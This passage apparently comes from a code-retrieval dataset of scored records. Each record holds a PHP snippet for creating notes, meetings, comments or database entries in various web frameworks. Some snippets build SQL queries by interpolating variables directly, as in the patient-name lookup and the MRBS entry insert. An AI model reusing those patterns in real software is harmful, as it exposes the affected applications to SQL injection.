$note_node_list->item(0)->appendChild($timestamp);\n }\n\n // Create subject node.\n $subject_new_element = $workflow_parser->createElement('subject');\n $subject_new_element->appendChild($workflow_parser->createTextNode($subject));\n if ($subject_node_list->item(0)) {\n foreach ($subject_node_list as $subject_element) {\n // Insert text node.\n $subject_element->parentNode->replaceChild($subject_new_element, $subject_element);\n }\n }\n else {\n $note_node_list->item(0)->appendChild($subject_new_element);\n }\n\n\n // Create body node.\n $body_new_element = $workflow_parser->createElement('body');\n $body_new_element->appendChild($workflow_parser->createTextNode($body));\n if ($body_node_list->item(0)) {\n foreach ($body_node_list as $body_element) {\n // Insert text node.\n $body_element->parentNode->replaceChild($body_new_element, $body_element);\n }\n }\n else {\n $note_node_list->item(0)->appendChild($body_new_element);\n }\n\n islandora_workflow_set_object_relationship($object_id, 'has_note_subject', $subject, 'islandora_workflow');\n\n // Set the new DS content.\n return $item->modify_datastream(\n $workflow_parser->saveXML(),\n $ds_id = 'islandora_workflow',\n $ds_label = 'workflow',\n $mimetype = 'text/xml'\n );\n}", "title": "" }, { "docid": "5e205d47d602d8a115a252a208881225", "score": "0.52635455", "text": "public function addMeeting(){\n\n $addParameters = array(\n\t\t\t\t'met_time_slot_id' => $this->input->post('timeslotId'),\n\t\t\t\t'met_title' => $this->input->post('title'),\n\t\t\t\t'met_lecturer_id' => $this->input->post('lecturerId'),\n\t\t\t\t'met_student_id' => $this->input->post('studentId')\n );\n $this->db->insert('meeting', $addParameters);\n }", "title": "" }, { "docid": "4ae8d070da46d920b0569308346584a8", "score": "0.52347606", "text": "public function createAnime($title, $year, $author, $synopsis, $photoName, $type) {\n\t\t$anime = new Anime(uniqid(), $title, $year, $author, $synopsis, $photoName, $type);\n\t\t//$this->sqlStore->saveAnime($anime);\n\t\t$anime->save();\n\t}", "title": "" }, { "docid": "cc40de26b0c9c060fee2f036649de846", "score": "0.5234041", "text": "public function createNote(Request $request)\n {\n $validator = Validator::make(\n $request->all(),\n ['photo' => 'photosize'],\n ['photosize' => 'At least one uploaded file exceeds size limit of 5MB']\n );\n if ($validator->fails()) {\n return redirect('/admin/note/new')\n ->withErrors($validator)\n ->withInput();\n }\n\n $note = $this->noteService->createNote($request);\n\n return view('admin.newnotesuccess', [\n 'id' => $note->id,\n 'shorturl' => $note->shorturl,\n ]);\n }", "title": "" }, { "docid": "e8e67b6bf18a524a25183c0a4b76c44f", "score": "0.5220615", "text": "public function created(FinReqNote $finReqNote)\n {\n //\n }", "title": "" }, { "docid": "a2b659f2e7febbbb4438c7f8ec757199", "score": "0.52151227", "text": "private function add_note_request() {\n\t\tglobal $database, $user;\n\n\t\t$image_id = int_escape($_POST[\"image_id\"]);\n\t\t$user_id = $user->id;\n\n\t\t$database->execute(\"\n\t\t\t\tINSERT INTO note_request\n\t\t\t\t(image_id, user_id, date)\n\t\t\t\tVALUES\n\t\t\t\t(?, ?, now())\",\n\t\t\t\tarray($image_id, $user_id));\n\n\t\t$result = $database->get_row(\"SELECT LAST_INSERT_ID() AS requestID\", array());\n\n\t\tlog_info(\"notes\", \"Note requested {$result[\"requestID\"]} by {$user->name}\");\n\t}", "title": "" }, { "docid": "91f24342d8d880e120249e084b1cecea", "score": "0.51925594", "text": "public function create()\n {\n return view('talks.create');\n }", "title": "" }, { "docid": "233787c9c31c1309caf9900261733117", "score": "0.5177353", "text": "public function setNote($var)\n {\n GPBUtil::checkString($var, False);\n $this->note = $var;\n\n return $this;\n }", "title": "" }, { "docid": "664f586e84cbab77668e00a657c98fcc", "score": "0.5171971", "text": "public function run()\n {\n $note = new Note();\n $note->title = \"creacion del siteweb de la empresa failes\";\n $note->desc = \"se esta trabajando falta el 50%\";\n $note->date = Carbon::parse(\"03/01/2018\");\n $note->project_id = 1;\n $note->save();\n \n $note = new Note();\n $note->title = \"creacion del siteweb de la empresa failes\";\n $note->desc = \" tenemos el 80%\";\n $note->date = Carbon::parse(\"05/01/2018\");\n $note->project_id = 1;\n $note->save();\n \n $note = new Note();\n $note->title = \"creacion del siteweb de la empresa failes\";\n $note->desc = \"terminamos el proyecto\";\n $note->date = Carbon::parse(\"08/01/2018\");\n $note->project_id = 1;\n $note->save();\n \n $note = new Note();\n $note->title = \"creacion de 5 diseños graficos para leal\";\n $note->desc = \"necesito los patrones\";\n $note->date = Carbon::parse(\"03/01/2018\");\n $note->project_id = 2;\n $note->save();\n \n $note = new Note();\n $note->title = \"creacion de 5 diseños graficos para leal\";\n $note->desc = \"patrones entregados\";\n $note->date = Carbon::parse(\"04/01/2018\");\n $note->project_id = 2;\n $note->save();\n \n $note = new Note();\n $note->title = \"comienzo del comunity para tracke\";\n $note->desc = \"cual es el equipo de trabajo\";\n $note->date = Carbon::parse(\"05/01/2018\");\n $note->project_id = 2;\n $note->save();\n }", "title": "" }, { "docid": "6e87816f1aed1c801b3e5ff3e8c5ec20", "score": "0.5162984", "text": "public function create()\n {\n $NewsAstrons = NewsAstron::latest()->first();\n if ($NewsAstrons) {\n $id = $NewsAstrons->id + 1;\n } else {\n $id = 1;\n }\n\n return view('create')->with('id', $id);\n }", "title": "" }, { "docid": "6733278ed20505e8f30ce7e8bb703ca0", "score": "0.51607007", "text": "function addNote()\n {\n $replace = array();\n\n //current logged in user details\n $userInfo = $this->userInfo();\n\n $patientId = $this->value('patient_id');\n\n $msg = \"\";\n\n //save button clicked!\n if(\"Save\" == $this->value('submitted'))\n {\n $newNote = $this->value('note');\n\n if(strlen(trim($newNote)) == 0)\n {\n $msg = '<div style=\"padding-left:5px;color:red;\">Please enter a note for this patient.</div>';\n }\n else\n {\n $insertArr = array(\n 'patient_id' => $patientId,\n 'provider_id' => $userInfo['user_id'],\n 'note' => $this->encrypt_data($this->value('note')),\n 'created' => date('Y-m-d H:i:s', time())\n );\n\n $result = $this->insert('notepad', $insertArr);\n\n /* if(!$result)\n {\n $msg = '<div style=\"padding-left:5px;\">Failed adding a note.</div>';\n } */\n }\n $privateKey = $this->config['private_key'];\n\n // patient details\n $query = \"SELECT \n AES_DECRYPT(UNHEX(name_first),'{$privateKey}') as name_first,\n AES_DECRYPT(UNHEX(name_last),'{$privateKey}') as name_last \n FROM \n user WHERE user_id = \" . $patientId;\n $result = $this->execute_query($query);\n\n $row = $this->fetch_array($result);\n\n $replace = $this->notesList($patientId);\n $patientName = $row['name_first'] . \"&nbsp;&nbsp;\" . $row['name_last'];\n $replace['patient_id'] = $patientId;\n $replace['patientName'] = $patientName;\n $replace['statusMessage'] = $msg;\n }\n else\n {\n $replace = $this->notesList($patientId);\n }\n\n $replace['patient_id'] = $patientId;\n\n $this->output = $this->build_template($this->get_template(\"addNote\"), $replace);\n }", "title": "" }, { "docid": "6632965bfbc4538e17302802fd596276", "score": "0.5151196", "text": "public function create()\n {\n return View::make('talks.create');\n }", "title": "" }, { "docid": "ad11f0e6dc10383688a2711a3ee67e60", "score": "0.5148104", "text": "public function one_to_one()\n {\n }", "title": "" }, { "docid": "009b5e41d3deab4e83b2da3743c5d49b", "score": "0.5146828", "text": "public function addNote($note)\n {\n $this->note[] = $note;\n return $this;\n }", "title": "" }, { "docid": "e7d4778acf82a3f6dffb4f287d8a93cf", "score": "0.51389563", "text": "public function create()\n {\n //\n return view('announcements.create');\n }", "title": "" }, { "docid": "d43dc0dd120c2d6ba0355c5557b22f97", "score": "0.513614", "text": "public function add($name,$notes,$group_id) {\t\tif($name == 'fuck') $name = 'ASDFASDF';\n\n\t\t$this->create();\n\t\t$this->save(array(\n\t\t\t'group_id' => $group_id,\n\t\t\t'name' => $name,\n\t\t\t'notes' => $notes\n\t\t));\n\t}", "title": "" }, { "docid": "23547b6ca30cb8e0c52b2d7a47165aeb", "score": "0.5127145", "text": "public function action_create($atr = null, $event_id = null)\n {\n if (Auth::has_access('comment.create'))\n {\n is_null($atr) and Response::redirect('/');\n is_null($event_id) and Response::redirect('/');\n\n $this->template->page_title = 'Pievieno komentāru!';\n $this->template->content = View::forge('comment/create');\n if ($atr == 'w' )\n {\n // 'whole' stands for comment to whole event\n $this->template->content->form_title = 'Pievieno komentāru pasākumam';\n }\n elseif ($atr == 'l')\n {\n // 'l' stands for comment to event location\n $this->template->content->form_title = 'Pievieno komentāru norises vietai';\n }\n elseif ($atr == 'd')\n {\n // 'd' stands for comment to event date\n $this->template->content->form_title = 'Pievieno komentāru norises laikam';\n }\n elseif ($atr == 'p')\n {\n // 'p' stands for comment to event participants\n $this->template->content->form_title = 'Pievieno komentāru dalībnieku skaitam';\n }\n elseif ($atr == 'f')\n {\n // 'f' stands for comment to event fee\n $this->template->content->form_title = 'Pievieno komentāru dalības maksai';\n }\n elseif ($atr == 't')\n {\n // 't' stands for comment to event takeaway\n $this->template->content->form_title = 'Pievieno komentāru līdzi ņemamajām lietām';\n }\n elseif ($atr == 'dc')\n {\n // 'dc' stands for comment to event dress code\n $this->template->content->form_title = 'Pievieno komentāru ģebšanās sitlam';\n }\n elseif ($atr == 'a')\n {\n // 'a' stands for comment to event assistants\n $this->template->content->form_title = 'Pievieno komentāru nepieciešamajiem palīgiem';\n }\n\n if (Input::method() == 'POST')\n {\n // comment submited, validate it\n if (Input::post('comment') and Input::post('comment') != '')\n {\n // check if comment isn't too long\n if (strlen(Input::post('comment')) <= 300)\n {\n // comments length is valid, create it\n $user_id = Auth::instance()->get_user_id();\n $user_id = $user_id[1];\n\n $comment = array(\n 'author_id' => $user_id,\n 'event_id' => $event_id,\n 'attribute' => $atr,\n 'message' => Input::post('comment'),\n 'created_at' => Date::time()->get_timestamp()\n );\n\n $new_comment = Model_Orm_Comment::forge($comment);\n $new_comment->save();\n\n Session::set_flash('success', 'Komentārs veiksmīgi pievienots');\n Response::redirect('event/view/'.$event_id);\n }\n else\n {\n // comment too long\n $errors[] = 'Komentāra ziņa nevar būt garāka par 300 simboliem!';\n Session::set_flash('errors', $errors);\n }\n }\n else\n {\n // comment not set\n $errors[] = 'Ievadi komentāru!';\n Session::set_flash('errors', $errors);\n }\n }\n }\n else\n {\n Response::redirect('/');\n }\n }", "title": "" }, { "docid": "26a7198f154d813411c73d1289c06481", "score": "0.51238316", "text": "public function create()\n {\n return view('main.announce.create');\n }", "title": "" }, { "docid": "dbd00f4b12623fcf7b387c310cf10a47", "score": "0.5119189", "text": "function createEmpty()\n\t{\n\t\t$data = array(\n\t\t\t'MexcNew' => array(\n\t\t\t\t'date' => date('Y-m-d'),\n\t\t\t\t'publishing_status' => 'draft'\n\t\t\t)\n\t\t);\n\t\t$this->create();\n\t\treturn $this->save($data, false);\n\t}", "title": "" }, { "docid": "4793caace397e11cb7fb3f57d8c8a573", "score": "0.51127374", "text": "public function create()\n {\n $title=\"Add Participant\";\n return view('Units.Attendees.create',compact('title'));\n }", "title": "" }, { "docid": "ca001d7cbedb86231feb2260a51d75b5", "score": "0.5099324", "text": "public function setNote($note)\r\n {\r\n $this->note = $note;\r\n\r\n return $this;\r\n }", "title": "" }, { "docid": "ba1b4ef39c1fc8d66b6293723ba982e3", "score": "0.5098944", "text": "public function setNote(string $note) : self\n {\n $this->initialized['note'] = true;\n $this->note = $note;\n return $this;\n }", "title": "" }, { "docid": "b7f38e59f115e8122b8228e9fcc8d458", "score": "0.5095787", "text": "function mrbsCreateSingleEntry($starttime, $endtime, $entry_type, $repeat_id, $room_id,\n $owner, $name, $type, $description)\n{\n\tglobal $tbl_entry;\n\n\t$name = slashes($name);\n\t$description = slashes($description);\n\t\n\t# make sure that any entry is of a positive duration\n\t# this is to trap potential negative duration created when DST comes\n\t# into effect\n\tif( $endtime > $starttime )\n\t$sql = \"INSERT INTO $tbl_entry ( start_time, end_time, entry_type, repeat_id, room_id,\n\t create_by, name, type, description)\n\t VALUES ($starttime, $endtime, $entry_type, $repeat_id, $room_id,\n\t '$owner', '$name', '$type', '$description')\";\n\t\n\tif (sql_command($sql) < 0) return 0;\n\t\n\treturn sql_insert_id(\"$tbl_entry\", \"id\");\n}", "title": "" }, { "docid": "0fa2235ec7c5047db708fb7289253944", "score": "0.5073124", "text": "public function __construct(Note $note)\n {\n $this->note = $note;\n }", "title": "" }, { "docid": "cda310511957b0da82555ad69b2b0e07", "score": "0.5071759", "text": "public function autosave_note() {\n\t\t\n\t\tModel::get(\"patient\")->update_note($_POST[\"db_insert_id\"], array(\"data_autosave\" => $_POST[\"data_autosave\"]));\n\t\t\n\t}", "title": "" }, { "docid": "6d17043412bff94c2bc03095265526e2", "score": "0.50654894", "text": "public static function addTicketNote($params = array()) {\r\n $params['action'] = 'addticketnote';\r\n return self::sendRequest($params);\r\n }", "title": "" }, { "docid": "773cb5ba306933258ec921cd57d67ca0", "score": "0.5052114", "text": "public function createNote(Stylist $stylist, StylistNote $note) \n\t{\n\t\treturn view('recruit.stylist.notecreate', compact('stylist', 'note'));\n\t}", "title": "" }, { "docid": "e2248bfbe2484d562cc49c1fbfabc0e1", "score": "0.50498706", "text": "public function createParticipant(ParticipateRequest $request) {\n \t$participant = new Participant;\n \t$participant -> id_event = $request -> input('id_event');\n \t$participant -> id_user = $request -> input('id_user');\n\n \t$participant -> save();\n\n \treturn redirect('publicevents/'.$participant->id_event);\n }", "title": "" }, { "docid": "a8859fad027f781acb0c3416eea4b67e", "score": "0.50461847", "text": "public function create() {\n\t\t$creator = user::load_by_username($_SESSION['username']);\n\n\t\t// Convert ingredient titles to ingredients\n\t\t$ingredient_titles = array_key_exists('ingredients', $_POST) ? $_POST['ingredients'] : null;\n\t\tif ($ingredient_titles != null) {\n\t\t\t// Initialize an array of ingredients\n\t\t\t$ingredients = array();\n\n\t\t\t// Loop through the ingredient titles\n\t\t\tforeach($ingredient_titles as $title) {\n\t\t\t\t// Fetch the ingredient\n\t\t\t\t$ingredient = ingredient::load_by_title($title);\n\n\t\t\t\t// Check if the ingredient exists\n\t\t\t\tif ($ingredient == null) {\n\t\t\t\t\t// Create and save the ingredient if it doesn't exist\n\t\t\t\t\t$ingredient = new ingredient(array(\n\t\t\t\t\t\t'title' => $title));\n\t\t\t\t\t$ingredient->save();\n\t\t\t\t}\n\n\t\t\t\t// Add the ingredient to this meal's ingredients\n\t\t\t\t$ingredients[] = $ingredient;\n\t\t\t}\n\t\t}\n\n\t\t// Create array of attributes\n\t\t$attributes = array(\n\t\t\t'title' => $_POST['title'],\n\t\t\t'description' => $_POST['description'],\n\t\t\t'meal_type' => $_POST['meal_type'],\n\t\t\t'food_type' => $_POST['food_type'],\n\t\t\t'time_to_prepare' => $_POST['time_to_prepare'],\n\t\t\t'instructions' => $_POST['instructions'],\n\t\t\t'creator_id' => $creator->get('id'),\n\t\t\t'image_url' => self::generate_image_url($_POST['title']),\n\t\t\t'ingredients' => $ingredients);\n\n\t\t// Create a new meal with the appropriate attributes\n\t\t$meal = new meal($attributes);\n\n\t\t// Save the new meal and create an associated event\n\t\tif ($meal->save()) {\n\t\t\t$event = new event(array(\n\t\t\t\t\t'creator_id' => $meal->get('creator_id'),\n\t\t\t\t\t'type' => 'meal',\n\t\t\t\t\t'action' => 'created',\n\t\t\t\t\t'reference_id' => $meal->get('id')));\n\t\t\t$event->save();\n\t\t}\n\n\t\t// Redirect to the meal's show page\n\t\theader('Location: ' . BASE_URL . '/meals/' . $meal->get('id'));\n\t}", "title": "" }, { "docid": "9a14c0360137c87e0cd41ec0834c3e55", "score": "0.5043034", "text": "public function actionCreate()\n {\n if ($this->checkAdminSession()) {\n $model = new Notes();\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }\n }", "title": "" }, { "docid": "c630a0ae15691fee0e1d65ee8e11e9ad", "score": "0.5042529", "text": "public function setNote($note) \n\t{\n\t\t$this->note = $note;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "fc479e171c6d8e636cb580983e560fb6", "score": "0.5041995", "text": "public function create($nombre_joven, $apellido, $sexo, $edad, $email, $auto, $encargado, $iglesia, $ciudad, $telefono, $familia)\n {\n // clean the input to prevent for example javascript within the notes.\n $nombre_joven = strip_tags($nombre_joven);\n $apellido = strip_tags($apellido);\n $sexo = strip_tags($sexo);\n $edad = strip_tags($edad);\n $email = strip_tags($email);\n $auto = strip_tags($auto);\n $encargado = strip_tags($encargado);\n $iglesia = strip_tags($iglesia);\n $ciudad = strip_tags($ciudad);\n $telefono = strip_tags($telefono);\n $familia = strip_tags($familia);\n\n $sql = \"INSERT INTO usuarios (nombre_joven, apellido, sexo, edad, email, auto, encargado, iglesia, ciudad, telefono, familia ) VALUES (:nombre_joven, :apellido, :sexo, :edad, :email, :auto, :encargado, :iglesia, :ciudad, :telefono, :familia)\";\n $query = $this->db->prepare($sql);\n $query->execute(array(':nombre_joven' => $nombre_joven, ':apellido' => $apellido, ':sexo' => $sexo, ':edad' => $edad, ':email' => $email, ':auto' => $auto, ':encargado' => $encargado, ':iglesia' => $iglesia, ':ciudad' => $ciudad, ':telefono' => $telefono, ':familia' => $familia));\n\n $count = $query->rowCount();\n if ($count == 1) {\n return true;\n } else {\n $_SESSION[\"feedback_negative\"][] = FEEDBACK_NOTE_CREATION_FAILED;\n }\n // default return\n return false;\n }", "title": "" }, { "docid": "1d399619cfebd0a2d84936f9ae9e9805", "score": "0.5040729", "text": "public function create()\n\t{\n\t\t$data['title'] = \"Contest Announcement\";\n\t\treturn View::make('admin/announcement/create', $data);\n\t}", "title": "" }, { "docid": "f321d58a354bd1dc560e9f0fe92bbd23", "score": "0.50392276", "text": "function add_note()\n\t{\n\t\t$data = filter_forwarded_data($this);\n\t\t\n\t\tif(!empty($_POST)) {\n\t\t\t# Upload the file before you proceed with the rest of the process\n\t\t\tif(!empty($_FILES['document__fileurl'])) $fileUrl = upload_file($_FILES, 'document__fileurl', 'document_', 'pdf,doc,docx,jpeg,jpg,tiff');\n\t\t\t$_POST['document'] = !empty($fileUrl)? $fileUrl: \"\";\n\t\t\t$result = $this->_contract->add_note($_POST);\n\t\t\t\n\t\t\t# do not go away from the current list but show a message\n\t\t\tif(!$result['boolean']) echo \"ERROR: The note could not be added. \".$result['reason'];\n\t\t}\n\t\t# a message area\n\t\telse if(!empty($data['a'])) {\n\t\t\t$data['msg'] = 'The note has been added. Click below to refresh the list.';\n\t\t\t$data['area'] = 'refresh_list_msg';\n\t\t\t$this->load->view('addons/basic_addons', $data);\n\t\t}\n\t\telse {\n\t\t\t$data['contract'] = $this->_contract->details($data['d']);\n\t\t\t$this->load->view('contracts/new_note', $data);\n\t\t}\n\t}", "title": "" }, { "docid": "cb8186a41efb2304268d072eca9cc274", "score": "0.5032821", "text": "function livewebteaching_add_instance($livewebteaching) {\n\n $livewebteaching->timecreated = time();\n\n\tif (record_exists( 'livewebteaching', 'meetingID', $livewebteaching->name)) {\n\t\terror(\"A meeting with that name already exists.\");\n\t\treturn false;\n\t}\n\n\t$livewebteaching->moderatorpass = livewebteaching_rand_string( 16 );\n\t$livewebteaching->viewerpass = livewebteaching_rand_string( 16 );\n\t$livewebteaching->meetingid = livewebteaching_rand_string( 16 );\n\n\treturn insert_record('livewebteaching', $livewebteaching);\n}", "title": "" }, { "docid": "2d52a3da894d0be857789568e6e8cb1b", "score": "0.5027862", "text": "public function run()\n {\n Note::create([\n 'title'=>\"Моя заметка\",\n 'description'=>\"Описание заметки\"\n ]);\n }", "title": "" }, { "docid": "ecbaa50e648402eb40bd369a8af233be", "score": "0.50259113", "text": "public function created(Discussion $discussion)\n {\n $deal= $discussion->commentable()->first();\n broadcast(new NewNotification('commented', 'on a deal',$deal))->toOthers();\n }", "title": "" }, { "docid": "a9cd6a4d28c2504ad36ae04d87517a9a", "score": "0.5024581", "text": "public function setNote($note)\n {\n $this->note = $note;\n return $this;\n }", "title": "" }, { "docid": "a9cd6a4d28c2504ad36ae04d87517a9a", "score": "0.5024581", "text": "public function setNote($note)\n {\n $this->note = $note;\n return $this;\n }", "title": "" }, { "docid": "97b75eb59eca3b6270869b8f6ff90227", "score": "0.5022764", "text": "public static function createNew()\n\t{\n\t\tlist($ticket, $contents, $staff, $time_worked, $time_billable) = func_get_args();\n\t\t$ticket_time_track = new self();\n\t\t$ticket_time_track->setTicketId($ticket->getId());\n\t\t$ticket_time_track->setContents($contents);\n\t\t$ticket_time_track->setCreatorStaff($staff);\n\t\t$ticket_time_track->setWorkerStaff($staff);\n\t\t$ticket_time_track->setBillingData($time_billable);\n\t\t$ticket_time_track->setWorkedData($time_worked);\n\t\treturn $ticket_time_track;\n\t}", "title": "" }, { "docid": "fc291c1edd7d5c9693bfc0b117be5ed7", "score": "0.5022051", "text": "public function create()\n\t{ \n\t\t# Return if just the countoff is needed\n\t\tif ($this->countoff<2) return;\n\t\t\n\t\t# Add a note on and note off for each beat in the click track\n\t\tfor($i=0; $i<$this->beatsTotal; $i++) { \n\t\t\t$vol = (($i%$this->timeSig)==0) ? 127 : 70;\n\t\t\t$this->addEvent(0,153,37,$vol);\n\t\t\t$this->addEvent($this->ticksPerBeat,153,37,0);\n\t\t}\n\t}", "title": "" }, { "docid": "beb4dd2cd321a1d15232bee9eec2fa55", "score": "0.50194865", "text": "public function create()\n {\n //\n return view('backend.speaker.create');\n }", "title": "" }, { "docid": "3dc9c63bfd512fe43209c426b6429532", "score": "0.50186557", "text": "public function getNote();", "title": "" }, { "docid": "10b9f8282c41cfa3ccecf5f2aed5b131", "score": "0.5018414", "text": "public function run()\n {\n $notes =[\n [\n 'id' => 1,\n 'description' => \"Äkki Atlandi lõhe oleks parem\",\n 'user_id'=> 2,\n 'estname_id'=> 2,\n 'updated_at' => date(\"Y-m-d H:i:s\",strtotime(\"+1 day\")),\n 'created_at' => date(\"Y-m-d H:i:s\"),\n ],\n ];\n Note::insert($notes);\n }", "title": "" }, { "docid": "94115a254a546b86460cf865b7bf1d6b", "score": "0.5015314", "text": "protected function create_one_to_manys( $ones_insert_id )\n\t{\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "7d668ec65b958ba973cfb04d9435e826", "score": "0.49967605", "text": "public function create()\n {\n return Inertia::render('Meeting/Create');\n }", "title": "" }, { "docid": "3a598bac68eeab0a74ea410a66fb97cb", "score": "0.499303", "text": "public function note()\n {\n return $this->belongsTo(Note::class);\n }", "title": "" }, { "docid": "ea3c39d8ee543fd25f4dff258a2d928a", "score": "0.49822086", "text": "public function add_note($data){\n $this->db->insert('notes', $data);\n \t return $idOfInsertedData = $this->db->insert_id();\n }", "title": "" }, { "docid": "1481f7728176c94cc3985acca8a079be", "score": "0.4965518", "text": "public function actionCreate(){\n $model = new MgfConceptNote();\n if ($model->load(Yii::$app->request->post()) && $model->save()) { \n Yii::$app->session->setFlash('success', 'Saved successfully.');\n return $this->redirect(['view', 'id' => $model->id]);\n }else{\n Yii::$app->session->setFlash('error', 'NOT Saved.');\n return $this->redirect(['/mgf-applicant/profile']);\n }\n }", "title": "" }, { "docid": "f45c6b7df5da7bcefedcdcc06c806a6a", "score": "0.49643916", "text": "public function add_note_for_case($case_number)\n {\n $manager_id = $this->session->userdata('manager_user_id');\n $client_user_id = $this->input->post('client_user_id');\n $note_text = $this->input->post('note_text');\n $is_client_note = $this->input->post('is_client_note');\n $now = date('Y-m-d H:i:s');\n $now_am_style = date('m/d/Y H:i:s A');\n $data = array(\n 'case_number' => $case_number,\n 'note' => $note_text,\n 'created_at' => $now,\n 'user_id' => $manager_id,\n 'client_user_id' => $client_user_id,\n 'client_note' => \"$is_client_note\"\n );\n\n $this->db->insert('cases_notes', $data);\n\n $data['note_id'] = $this->db->insert_id();\n $data['created_at'] = $now_am_style;\n $data['is_client_note'] = $is_client_note;\n $data['username'] = $this->session->userdata('manager_username');\n $data['delete_link'] = '<a title=\"Remove\" href=\"javascript:void(0);\" id=\"delete_note_link_' . $data['note_id'] . '\" onclick=\"if(confirm(\\'Do you really want to DELETE selected note?\\')){ remove_note_from_case(' . $data['note_id'] . ');}\"><img src=\"' . base_url() . 'assets/images/i/delete.png\" alt=\"Remove\"/></a>';\n return json_encode($data);\n }", "title": "" }, { "docid": "c8b846c2c1cfd457508d40306529dd36", "score": "0.49585304", "text": "public function setNote(array $note = [])\n {\n $this->note = [];\n if ([] === $note) {\n return $this;\n }\n foreach($note as $v) {\n if ($v instanceof FHIRAnnotation) {\n $this->addNote($v);\n } else {\n $this->addNote(new FHIRAnnotation($v));\n }\n }\n return $this;\n }", "title": "" }, { "docid": "c8b846c2c1cfd457508d40306529dd36", "score": "0.49585304", "text": "public function setNote(array $note = [])\n {\n $this->note = [];\n if ([] === $note) {\n return $this;\n }\n foreach($note as $v) {\n if ($v instanceof FHIRAnnotation) {\n $this->addNote($v);\n } else {\n $this->addNote(new FHIRAnnotation($v));\n }\n }\n return $this;\n }", "title": "" }, { "docid": "f6a22681bc81c5be8bbeefd4f6c532b3", "score": "0.49520513", "text": "public static function addNote($poster, $unitid, $projectid, $notetext) {\n $dateAdded = R::isoDateTime();\n\n try {\n $note = R::dispense('note');\n\n $note->poster = $poster;\n $note->text = $notetext;\n $note->dateAdded = $dateAdded;\n\n if(!is_null($unitid)) {\n $note->unitid = $unitid;\n }\n\n if(!is_null($projectid)) {\n $note->projectid = $projectid;\n }\n\n $noteid = R::store($note);\n\n return $noteid;\n }\n catch (Exception $e) {\n throw new Exception (\"Unable to add note! \" . $e->getMessage());\n }\n }", "title": "" }, { "docid": "48c60acbbfe18c1981506bf63e8ab379", "score": "0.49504206", "text": "public function testAddNoteType()\n {\n $this->_instance->addNoteType($this->_objects['noteType']);\n \n // find our note type\n $testNoteType = $this->_instance->getNoteTypeByName($this->_objects['noteType']->name);\n \n $this->assertEquals($this->_objects['noteType']->name, $testNoteType->name);\n $this->assertEquals(1, $testNoteType->is_user_type, 'user type not set');\n }", "title": "" }, { "docid": "7440d88306b23cd8515a97aba239750b", "score": "0.49484983", "text": "public function getNoteById()\n {\n return $this->noteById;\n }", "title": "" }, { "docid": "74429f75ad8fbde3e1839c8650d1b210", "score": "0.49355304", "text": "public function getCreate()\n\t{\n\t\treturn View::make('announcements.create');\n\t}", "title": "" }, { "docid": "32e68fea67e422a1d86ca760da7cf827", "score": "0.49349767", "text": "function bmlt_convert_one_meeting ( $in_original_data, ///< The original file data for the meeting.\n $in_one_meeting, ///< The meeting, in the source format. An associative array.\n $in_count ///< The index of this meeting.\n )\n {\n global $region_bias, $gOutput_level;\n $ret = null;\n\n\n if ( $gOutput_level != 'MINIMAL' )\n {\n echo ( \"<tr><td style=\\\"color:white;background-color:black;font-weight:bold;padding-left:1em\\\" colspan=\\\"3\\\">Starting Conversion of Meeting #$in_count</td></tr>\" );\n }\n else\n {\n echo ( \"<tr><td style=\\\"border-top:2px solid black\\\" colspan=\\\"3\\\"></td></tr>\" );\n }\n \n // We cycle through all the meeting data, and extract that which can be mapped to BMLT context.\n \n if ( isset ( $in_one_meeting ) && is_array ( $in_one_meeting ) && count ( $in_one_meeting ) )\n {\n $in_one_meeting = bmlt_clean_one_meeting ( $in_one_meeting );\n \n if ( $in_one_meeting )\n {\n if ( !$in_one_meeting['published'] )\n {\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"font-style:italic;font-size:medium;color:blue;background-color:orange\\\">This meeting is institutional, so it will be unpublished.</td></tr>\\n\" );\n }\n \n $ret = $in_one_meeting;\n // See if we need to geocode.\n if ( !isset ( $ret['longitude'] ) || !isset ( $ret['latitude'] ) || !floatval ( $ret['longitude'] ) || !floatval ( $ret['latitude'] ) )\n {\n $address_string = bmlt_build_address ( $ret );\n \n if ( $address_string )\n {\n if ( $gOutput_level != 'MINIMAL' )\n {\n echo ( \"<tr><td colspan=\\\"3\\\"\" );\n if ( !$in_one_meeting['published'] )\n {\n echo ( \"style=\\\"font-style:italic;font-size:medium;color:blue;background-color:orange\\\"\" );\n }\n echo ( \">This meeting does not have a long/lat, so we are geocoding '$address_string'.</td></tr>\\n\" );\n }\n \n $region_bias = function_exists ( 'bmlt_get_region_bias' ) ? bmlt_get_region_bias() : NULL;\n \n $geocoded_result = bmlt_geocode ( $address_string, ($in_one_meeting['published'] != 0) );\n \n if ( $geocoded_result )\n {\n $ret['longitude'] = floatval ( $geocoded_result['result']['longitude'] );\n $ret['latitude'] = floatval ( $geocoded_result['result']['latitude'] );\n \n if ( isset ( $geocoded_result['result']['partial_geocode'] ) )\n {\n $ret['published'] = 0;\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"color:blue;font-size:large;font-weight:bold;background-color:orange\\\">GEOCODE AMBIGUOUS FOR MEETING $in_count!</td></tr>\\n\" );\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"font-style:italic;font-size:medium;color:blue;background-color:orange\\\">Meeting $in_count will be unpublished. You should edit this meeting, verify that the address information is correct, and possibly correct the longitude and latitude.</td></tr>\\n\" );\n }\n elseif ( $gOutput_level == 'PROLIX' )\n {\n echo ( \"<tr><td colspan=\\\"3\\\" style=\\\"font-style:italic;font-size:medium\\\">New Long/Lat: \".$ret['longitude'].\", \".$ret['latitude'].\"</td></tr>\\n\" );\n }\n \n if ( array_key_exists ( 'location_postal_code_1', $geocoded_result['result']) )\n {\n $ret['location_postal_code_1'] = $geocoded_result['result']['location_postal_code_1'];\n }\n \n if ( array_key_exists ( 'location_neighborhood', $geocoded_result['result'] ) )\n {\n $ret['location_neighborhood'] = $geocoded_result['result']['location_neighborhood'];\n }\n \n if ( array_key_exists ( 'location_sub_province', $geocoded_result['result'] ) )\n {\n $ret['location_sub_province'] = $geocoded_result['result']['location_sub_province'];\n }\n \n if ( array_key_exists ( 'location_province', $geocoded_result['result'] ) )\n {\n $ret['location_province'] = $geocoded_result['result']['location_province'];\n }\n \n if ( array_key_exists ( 'location_nation', $geocoded_result['result'] ) )\n {\n $ret['location_nation'] = $geocoded_result['result']['location_nation'];\n 